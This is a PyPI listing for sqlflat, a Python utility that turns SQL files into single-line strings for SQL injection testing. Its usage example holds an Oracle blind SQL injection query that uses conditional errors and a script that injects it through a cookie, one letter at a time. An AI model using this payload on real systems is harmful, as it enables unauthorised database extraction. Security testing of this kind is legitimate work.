Skip to main content

A utility for converting SQL queries to a single line format

Project description

SQL Flat is a Python utility for converting SQL queries to a single line string. This can be useful while testing for sql injection.

Installation

You can install SQL Flat using pip:

pip install sqlflat

Usage

To use SQL Parser, import the sql_to_string function:

from sqlflat import sql_to_string

Then call the function with the path to the SQL file:

query = sql_to_string('path/to/file.sql')

This will return the single line version of the SQL query as a string.

Replacing variables

If you need to replace variables in the SQL query, you can do so using Python’s string formatting syntax. For example, let’s say you have a SQL query in select_empty_from_dual.sql that includes the variable @a:

-- Blind SQL injection with conditional errors
-- Throws an error if the variable @a is equal to the first letter of table_name
SELECT
    CASE
        WHEN LEFT(table_name, 1) = @a THEN TO_CHAR(1/0)
        ELSE  NULL
    END

FROM all_tables

WHERE ROWNUM = 1

You can replace the @a variable in your querry like so:

#!/usr/bin/python3

import requests
from sqlflat import sql_to_string

for i in range(97,123):
    payload = sql_to_string("select_empty_from_dual.sql").replace('@a', '{}'.format(chr(i)))
    headers = {"Cookie": "TrackingId=0JzsmXsiTEOayV6o'||({})||'; session=CkRxbyf7MgZHJQjSFwTi7oQ1cBLGAgeY".format(payload)}
    r = requests.get('https:/example.com/', headers=headers)
    print("{} - {}".format(chr(i), r.status_code))

This code loads the SQL query from select_empty_from_dual.sql and replaces the @a variable with a letter from a to z using Python’s chr() function.

Contributing

If you find a bug or would like to suggest a new feature, please open an issue on the GitHub repository. Pull requests are also welcome!

License

SQL Flat is licensed under the MIT License. See LICENSE for details.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

sqlflat-1.0.1.tar.gz (3.3 kB view details)

Uploaded Source

File details

Details for the file sqlflat-1.0.1.tar.gz.

File metadata

  • Download URL: sqlflat-1.0.1.tar.gz
  • Upload date:
  • Size: 3.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.10.6

File hashes

Hashes for sqlflat-1.0.1.tar.gz
Algorithm Hash digest
SHA256 a76b6e37be70d1b06589f8c3accea057a1884f1fb85541776ef9ceecf15988a9
MD5 0d3c5e4868797bf32c1363cc5886fee6
BLAKE2b-256 1dec715e996386218785abdc06d82e5d9fe25acb0574530942d9c4d8151c0c31

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page